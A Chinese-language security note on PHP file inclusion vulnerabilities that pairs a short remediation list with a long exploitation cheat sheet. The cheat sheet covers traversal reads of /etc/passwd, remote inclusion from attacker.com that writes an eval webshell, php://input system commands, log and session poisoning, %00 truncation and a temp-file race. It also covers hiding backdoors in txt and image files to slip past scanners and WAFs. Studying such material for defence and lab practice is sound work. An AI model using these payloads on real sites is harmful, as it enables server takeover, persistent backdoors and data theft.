一:漏洞名称:
文件include漏洞、文件包含
描述:
文件包含是指程序代码在处理包含文件的时候没有严格控制。导致用户可以构造参数包含远程代码在服务器上执行,并得到网站配置或者敏感文件,进而获取到服务器权限,造成网站被恶意删除,用户和交易数据被篡改等一系列恶性后果。主要包括本地文件包含和远程文件包含两种形式,由于开发人员编写源码,开放着将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,然后包含文件中的代码会被解释执行。由于并没有针对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端解释执行。文件包含攻击中WEB服务器源码里可能存在inlcude()此类文件包含操作函数,可以通过客户端构造提交文件路径,是该漏洞攻击成功的最主要原因。
检测条件:
1.Web应采用include()等文件包含函数通过动态变量的方式引入需要包含的文件.
2.用户能够控制该动态变量
检测方法:
1.常见的文件包含漏洞,出现在以PHP语言开发的网站中,例如以下代码采用了指定用户的名称,并将该名称包含在要呈现的 PHP 页面中,
<?php include($_GET['name']); ?>
2.通过提供给 name 一个恶意数值,导致程序包含来自外部站点的文件,从而可以完全控制动态包含指令。比如提交:
http://test.com/test.php?name=../../../etc/passwd
3.如果我们为动态包含指令指定一个有效文件,那么该文件的内容会被传递给 PHP 解析器,可直接在远程服务器上执行任意PHP文件。如果我们能够指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行提供的任意恶意代码,也就是所谓的“远程文件包含”。
4.构造类型复杂,还需自行研究,进行文件包含的利用。
漏洞修复:
- PHP:配置php.ini关闭远程文件包含功能(allow_url_include = Off)
- 严格检查变量是否已经初始化。
- 建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。
- 严格检查include类的文件包含函数中的参数是否外界可控。
- 不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
- 在发布应用程序之前测试所有已知的威胁。
- 严格判断包含的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
- 路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符,如:“../”;
- 包含文件验证:验证被包含的文件是否是白名单中的一员;
- 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include("head.php");,不要把被包含的写成变量!。
其他补充说明:
参考:https://www.jianshu.com/p/3dc97deec491
PHP常见的导致文件包含的函数如下:
当使用这4个函数包含一个新的文件时,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。包含非PHP语法规范源文件时,将会暴露其源代码。
还有fopen(),readfile(),这两个函数会造成敏感文件被读取。
包含分为两种:远程包含,本地包含
include.php:
<?php
$i=$_GET["name"];
include($i);
?>
然后phpinfo.txt
<?php
phpinfo();
?>
payload:http://127.0.0.1/?include.php?name=phpinfo.txt
思考:
直接打开127.0.0.1/phpinfo.txt是不执行的,还是会被当作txt显示源码,但是通过构造payload就可以,这里思考利用:如果name传参数传一个看似安全的格式,实则不安全,可以留后门。可以包含过狗,包含后门。包含一句话。一般安全狗对txt不查杀,把危险的东西放入txt,然后利用包含漏洞来连接菜刀,拿webshell
包含:将包含文件以脚本解析执行
远程包含本地包含区别和原理:
php.ini设置allow_url_include开关
设置为on代表可以远程包含:比如http://127.0.0.1/?include.php?name=http://127.0.0.1/phpinfo.txt
利用:
易酷CMS2.5文件包含漏洞
这个属于本地包含漏洞,首先先构造写入一句话木马,由于没有上传点,这时候利用日志功能:
访问错误,这时一句话木马会记录到temp/logs/,只不过{~eval($_POST[x])}在日志文件里,而且是txt格式
这是文件包含,使用了日志里面的一句话木马,然后菜刀直接连上!
其他利用大全:
1.读取敏感文件
访问URL:http://www.xxser.com/index.php?page=/etc/passwd
如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。
2.远程包含Shell
如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如:http://www.attacker.com/echo.txt,代码如下:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
访问:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt。将会在index.php所在的目录下生成shell.php,内容为:
<?php eval($_POST[xxser]);?>
3.本地包含配合文件上传
cmd下合成图片木马 copy 1.jpg/b+1.php xxx.jpg
假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg
图片代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
访问URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php。
或者形如:http://192.168.80.128/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/xxx.jpg
4.使用PHP封装协议---(伪协议)
4.1 使用封装协议读取PHP文件
例子如下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
访问URL,得到经过Base64加密后的字符串,这段代码就是Base64加密过后的PHP源代码,解密后就可得到原本的“样貌”。
4.2 写入PHP文件(或者远程被包含的文件中含有写入执行的php代码)
在allow_url_include为On时,构造URL:http://www.example.com/index.php?page=php://input,并且提交数据为:<?php system('net user');?>
会得到net user命令的结果。
伪协议在文件包含的利用:
data:text/plain
或 data:text/plain;base64
php://input
php://filter
file://
zip://
其它协议可阅读官方文档:传送门
演示一个:
php://input
条件:
allow_url_include = On
allow_url_fopen不做要求
<?phpinfo();?>
<?php system('whoami');?>
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['caidao']);?>")?>
更多伪协议利用参考这篇文章:https://blog.dyboy.cn/websecurity/28.html
5.包含Apache日志文件
本地文件包含的利用。
Apache有两个日志文件:access.log(访问日志)和error.log(错误日志)。
攻击者先访问http://www.example.com/<?php phpinfo();?>,操作这一步时,需要Burp,否则<,>,空格都会被转码。
随后访问http://www.xxser.com/index.php?page=./../Apache-20/logs/access.log
使用这种方式时,找到Apache的路径是关键。
案例:
url中插入一句话,为了防止url编码,需要在burp中访问<?php eval($_POST['caidao']);?>
user-agent中插入一句话
使用菜刀连接
http://192.168.80.131/dvwa/vulnerabilities/fi/?page=../../../../../../var/log/apache2/access.log
补充:
(1)ftp日志
ftp连接时,用户名输入一句话木马
http://192.168.80.131/dvwa/vulnerabilities/fi/?page=../../../../../../var/log/vsftpd.log
(2)ssh日志
ssh -p 22 "<?php phpinfo(); ?>"@192.168.88.130
访问http://192.168.88.130/dvwa/vulnerabilities/fi/?page=../../../../../var/log/auth.log
6.截断包含
%00 截断(php版本小于5.3)
<?php
if(isset($_GET['page'])){
include $_GET['page'].".php";
}else{
include 'home.php';
}
?>
如果此时存在一个图片木马,名为1.jpg,可以输入如下URL:http://www.example.com/index.php?page=1.jpg%00
当然这种方法只适用于magic_quotes_gpc=Off的情况下。
7.绕过WAF防火墙
图片木马一般不会被web杀毒软件查出来。
想办法上传一个文件,包含有后门,然后引用就可以了
8.包含session文件
利用:结合phpmyadmin,因为phpmyadmin每次登录时,会带上session
session文件的绝对路径可在phpinfo中查看,session.save_path
使用以下命令可查看到session文件中的登录信息
strings /var/lib/php5/sess_0147039e2884573b9034866a4c212ec336abc054 | grep 11112222
登录phpmyadmin时,用户名输入一句话木马,再包含session文件,可getshell
使用菜刀连接
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=../../../../../var/lib/php5/sess_0147039e2884573b9034866a4c212ec336abc054
9.包含临时文件
php中上传文件时,会先创建临时文件;结合竞争条件,在临时文件被删除前,利用文件包含漏洞包含临时文件。
利用:结合phpinfo,因为向phpinfo页面发送数据包后,从返回包中可匹配出临时文件名。
步骤:
1、发送包含webshell的数据包给phpinfo页面,数据包中塞入大量垃圾数据
2、php默认的输出缓冲区大小为4096字节
3、我们每次读取4096字节,只要读到临时文件名,就立即发送第二个数据包
4、第二个数据包,就是文件包含漏洞利用的数据包
5、利用这个时间差,即可成功包含临时文件,实现getshell
python exp.py 192.168.88.152 8080 100
访问http://192.168.88.152:8080/lfi.php?file=/tmp/g&1=system(%27id%27);
参考:https://vulhub.org/#/environments/php/inclusion/
还要注意的是:
include和require都是包含,requre会最先在所有代码前先执行,include在代码中碰到了才会执行。除了错误处理方面:
reuqire会生成致命错误(E_COMPILE_ERROR)并停止脚本
include只生成错误报告(E_WARING),并且脚本会继续
require和require_once的差别是,require重复调用会多次加载你引用的文件,而require_once只加载一次,已经引入的脚本不再继续引用。而不管你实际上调用了多少次,主要用于复杂的文件包含关系。
include和include_once的差别也可以以此类推。
JSP包含分两种方式:静态包含和动态包含。
一、静态包含
<%@include file="page.txt"%>为JSP的静态包含语句,静态包含语句先进行包含,再做处理操作。
JSP语法规定,include指令为静态包含,只允许包含一个已经存在于服务器中的文件,而不能使用变量来控制包含某个文件,这就意味着使用include指令将不存在文件包含漏洞。
二、动态包含
<jsp:inclde page="page.txt"/>为动态包含语句,在运行时会先处理被包含页面,然后再包含,而且可以包含一个动态页面(变量)。
但在包含一个非JSP文件扩展名时,即使其内容符合JSP语法规范,也会只读取其源代码,而不会解析其JSP代码。